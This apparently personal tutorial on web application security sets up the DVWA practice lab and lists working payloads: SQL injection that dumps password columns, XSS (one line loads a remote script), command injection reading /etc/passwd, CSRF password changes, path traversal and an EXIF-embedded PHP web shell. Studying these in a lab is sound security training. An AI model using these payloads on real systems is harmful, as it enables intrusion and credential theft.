WEB APPLICATION SECURITY

by #Shibashis_Ghosh on #17_Feb_2025

Vulnerability

A vulnerability in cybersecurity is a weakness or flaw in a system, software, or network that can be exploited by malicious actors. These vulnerabilities often stem from coding errors, misconfigurations, or design flaws, and can be leveraged to:

- Gain unauthorized access
- Disrupt operations
- Steal sensitive data
- Compromise overall security

Vulnerabilities are typically identified and registered as Common Vulnerabilities and Exposures (CVEs) to facilitate tracking and mitigation efforts.

Exploit

An exploit is a method, piece of code, or technique used to take advantage of a vulnerability in a system Key characteristics of exploits include:

- Designed to identify and leverage flaws in software, applications, networks, or hardware
- Often used to bypass security measures and gain unauthorized access
- Can be chained together in an "exploit chain" to escalate privileges
- May remain unknown as "zero-day" or "0day" exploits

Exploits serve as the bridge between a vulnerability and a successful attack, allowing threat actors to compromise target systems.

Payload

In cybersecurity, a payload refers to the malicious code or component designed to execute a specific action on a target system once a vulnerability has been exploited.
Characteristics of payloads include:

- Can take various forms such as viruses, worms, or Trojans
- Delivered through vulnerabilities or security flaws
- Designed to perform specific malicious actions, such as:
    - Stealing sensitive information
    - Disrupting system operations
    - Taking control of the target system

Payloads can be configured to activate immediately upon execution or remain dormant until triggered by specific events or conditions.

Web Application Terminologies

DVWA Setup

```
# These commands apply to Linux
sudo apt update
sudo apt install -y docker.io
sudo systemctl enable docker --now

# These commands will work on most OS's
sudo docker search web-dvwa
sudo docker pull vulnerables/web-dvwa
sudo docker run docker.io/vulnerables/web-dvwa:latest

# signin to DVWA "admin" and "password"
sudo docker ps -a

sudo docker cp [container_id]:/etc/php/7.0/apache2/php.ini .
# update php.ini >> allow_url_include = On
sudo docker cp php.ini [container_id]:/etc/php/7.0/apache2/php.ini

sudo docker exec -it [container_id] bash
root@[container_id]:/$  service apache2 restart
```

Useful Docker commands

```
sudo docker images
sudo docker ps
sudo docker ps -a
sudo docker kill $ID

# Inspect
sudo docker inspect [CONTAINER ID]

# IP
sudo docker container inspect -f '{{ .NetworkSettings.IPAddress }}'
[CONTAINER_ID]
```

SELECT * FROM USER WHERE email = 'input1' AND PASSWORD = 'input2';

SQL Injection

```
%' or '0'='0
or 1 -- '
0' ORDER BY 2 -- '
0' UNION SELECT 1,2 -- '

# DB name and version
0' UNION SELECT database(), version() -- '

# All db name
0' UNION SELECT 1,schema_name FROM information_schema.schemata -- '

# All DB with filter
0' UNION SELECT 1,schema_name FROM information_schema.schemata WHERE
schema_name NOT IN ('information_schema', 'mysql', 'performance_schema',
'sys') -- '

# All Table Name
0' UNION SELECT 1, table_name FROM information_schema.tables WHERE
table_schema = database() -- '

# All column Name of a Table of a DB
0' UNION SELECT 1, column_name FROM information_schema.columns WHERE
table_schema = database() AND table_name = 'users' -- '

0' UNION SELECT CONCAT(table_schema, '.', table_name), column_name FROM
information_schema.columns WHERE table_schema = database() AND table_name
= 'users' -- '

# Specific column Name of a Table of a DB
0' UNION SELECT 1, column_name FROM information_schema.columns WHERE
table_schema = database() AND table_name = 'users' AND column_name LIKE
'%pass%' -- '

# Specific column Name entire DB
0' UNION SELECT table_name, column_name FROM information_schema.columns
WHERE column_name LIKE '%pass%' -- '

0' UNION SELECT CONCAT(table_schema, '.', table_name), column_name FROM
information_schema.columns WHERE column_name LIKE '%pass%' -- '

# Table properties
0' UNION SELECT column_name, CONCAT(column_type, '-',
character_maximum_length, '-', column_key, '-', IFNULL(column_default,
'')) FROM information_schema.columns WHERE table_name = 'users' -- '

0' UNION SELECT column_name, CONCAT(column_type, '-',
character_maximum_length, '-', IF(column_key = 'PRI', 'Primary Key', ''),
'-', IFNULL(column_default, '')) FROM information_schema.columns WHERE
table_name = 'users' AND column_key = 'PRI' -- '
```

```
# Data Retrive
user_id , first_name, last_name, user, password, avatar, last_login,
failed_login

0' UNION SELECT user_id, CONCAT(first_name, last_name, user, password,
avatar, last_login, failed_login) FROM users -- - '

0' UNION SELECT user_id, CONCAT(first_name, ' - ', last_name, ' - ', user,
' - ', password, ' - ', avatar, ' - ', last_login, ' - ', failed_login)
FROM users -- - '
```

Blind SQL Injection

```
http://{HOST}/vulnerabilities/sqli_blind/?id=1'{payload}'&Submit=Submit#
```

Content based

```
1' AND (SELECT LENGTH(database()))=4 -- '
1' AND ASCII(SUBSTR(DATABASE(), 1, 1)) > 99 -- '
```

Time based

```
1' AND IF(ASCII(SUBSTR(DATABASE(), 1, 1)) > 99, sleep(5), 'false') -- '
1' AND IF(ASCII(SUBSTR(DATABASE(), 1, 1)) = 100, sleep(5), 'false') -- '

# 1st char
1' AND IF(ASCII(SUBSTR((SELECT table_name FROM information_schema.tables
LIMIT 0,1), 1, 1)) = 103, sleep(5), 'false') -- '

# 2nd char
1' AND IF(ASCII(SUBSTR((SELECT table_name FROM information_schema.tables
LIMIT 0,1), 2, 1)) = 117, sleep(5), 'false') -- '

1' AND IF(ASCII(SUBSTR((SELECT table_name FROM information_schema.tables
LIMIT 0,1),1,1)) = 117, sleep(5), 'false')-- '
```

XSS

Reflected XSS

```
<script>alert('XSS');</script>
<SCRIPT>alert('XSS')</SCRIPT>
<svg onload=alert('XSS')>
```

```
p=<svg/1='&q='onload=alert(1)>
<SVG ONLOAD=&#97&#108&#101&#114&#116(1)>
```

Stored XSS

```
<script>alert(document.domain)</script>
<img src=x onerror=alert(document.cookie)>
<body onload=alert('XSS')>
```

DOM-based XSS

```
<script>alert('XSS');</script>
```

```
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<body onload=alert('XSS')>
```

```
<script>window.location.href="http://172.17.0.2/vulnerabilities/csrf/?
password_new=abc123&password_conf=abc123&Change=Change#"</script>
<img src/onerror=$.getScript('http://example.com/malicious.js')>
```

bypass filters

```
<scr<script>ipt>alert(1)</script>
```

Command Injection

```
127.0.0.1 ; cat /etc/passwd
```

```
127.0.0.1 | cat /etc/passwd
```

```
127.0.0.1 || cat /etc/passwd
```

CSRF

```
<img src="http://localhost/DVWA/vulnerabilities/csrf/?
password_new=123&password_conf=123&Change=Change#" style="display:none;"
/>
```

```
<html>
  <body>
    <form id="csrf-form" action="http://172.17.0.2/vulnerabilities/csrf/"
method="GET">
      <input type="hidden" name="password_new" value="hacked" />
      <input type="hidden" name="password_conf" value="hacked" />
      <input type="hidden" name="Change" value="Change" />
    </form>
    <script>document.getElementById("csrf-form").submit();</script>
  </body>
</html>
```

(Local) File Inclusion

```
http://172.17.0.2/vulnerabilities/fi/?
page=../../hackable/uploads/4.png&cmd=pwd

http://172.17.0.2/vulnerabilities/fi/?
page=..././..././hackable/uploads/4.png&cmd=pwd

http://172.17.0.2/vulnerabilities/fi/?
page=file/../../../../../../etc/passwd
```

(Remote) File Inclusion / Upload

```
exiftool -DocumentName="<?php system($_GET['cmd']); ?>" 4.png
<?php system("echo {$_GET['d']} | base64 -d > {$_GET['f']}.php"); ?>
```

```
BURP DEMO
```

```
LFI
http://172.17.0.2/vulnerabilities/fi/?
page=file/../../../hackable/uploads/4.png&cmd=pwd
```